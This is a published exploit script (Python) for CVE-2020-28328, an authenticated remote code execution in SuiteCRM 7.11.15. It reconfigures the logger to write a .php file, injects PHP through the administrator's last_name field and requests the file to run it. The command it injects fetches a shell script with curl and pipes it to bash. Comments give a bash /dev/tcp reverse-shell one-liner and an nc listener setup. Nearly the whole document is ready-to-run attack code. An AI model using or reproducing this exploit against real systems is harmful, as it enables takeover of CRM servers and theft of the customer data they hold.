SuiteCRM 7.11.15 – ‘last_name’ Remote Code Execution (Authenticated)
# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated) # Date: 08 NOV 2020 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage: https://suitecrm.com/ # Software Link: https://github.com/salesagility/SuiteCRM # Version: 7.11.15 and below # Tested on: Ubuntu 20.04 LTS # CVE: CVE-2020-28328 # Writeup: https://github.com/mcorybillington/SuiteCRM-RCE from requests import Session from random import choice from string import ascii_lowercase url = "http://127.0.0.1/" # URL to remote host web root post_url = "{url}index.php".format(url=url) user_name = "admin" # User must be an administrator password = "admin" prefix = 'shell-' file_name = '{prefix}{rand}.php'.format( prefix=prefix, rand=''.join(choice(ascii_lowercase) for _ in range(6)) ) # *Recommend K.I.S.S as some characters are escaped* # Example for reverse shell: # Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh # Stand up a python web server `python -m http.server 80` hosting shell.sh # Set a nc listener to catch the shell 'nc -nlvp 8080' command = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name) # Admin login payload login_data = { "module": "Users", "action": "Authenticate", "return_module": "Users", "return_action": "Login", "user_name": user_name, "username_password": password, "Login": "Log+In" } # Payload to set logging to 'info' and create a log file in php format. modify_system_settings_data = { "action": (None, "SaveConfig"), "module": (None, "Configurator"), "logger_file_name": (None, file_name), # Set file extension in the file name as it isn't checked here "logger_file_ext": (None, ''), # Bypasses file extension check by just not setting one. "logger_level": (None, "info"), # This is important for your php code to make it into the logs "save": (None, "Save") } # Payload to put php code into the malicious log file poison_log = { "module": (None, "Users"), "record": (None, "1"), "action": (None, "Save"), "page": (None, "EditView"), "return_action": (None, "DetailView"), "user_name": (None, user_name), "last_name": (None, command), } # Payload to restore the log file settings to default after the exploit runs restore_log = { "action": (None, "SaveConfig"), "module": (None, "Configurator"), "logger_file_name": (None, "suitecrm"), # Default log file name "logger_file_ext": (None, ".log"), # Default log file extension "logger_level": (None, "fatal"), # Default log file setting "save": (None, "Save") } # Start of exploit with Session() as s: # Authenticating as the administrator s.get(post_url, params={'module': 'Users', 'action': 'Login'}) print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID']) s.post(post_url, data=login_data) if 'ck_login_id_20' not in s.cookies.get_dict().keys(): print('[-] Invalid password for: {user}'.format(user=user_name)) exit(1) print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format( user=user_name, cookie=s.cookies.get_dict()['PHPSESSID']) ) # Modify the system settings to set logging to 'info' and create a log file in php format print('[+] Modifying log level and log file name.') print('[+] File name will be: {fname}'.format(fname=file_name)) settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)} s.post(post_url, headers=settings_header, files=modify_system_settings_data) # Post to update the administrator's last name with php code that will poison the log file print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command)) command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)} s.post(url, headers=command_header, files=poison_log) # May be a good idea to put a short delay in here to allow your code to make it into the logfile. # Up to you though... # Do a get request to trigger php code execution. print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name)) execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1) if not execute_command.ok: print('[-] Exploit failed, sorry... Might have to do some modifications.') # Restoring log file to default print('[+] Setting log back to defaults') s.post(post_url, headers=settings_header, files=restore_log) print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name)) |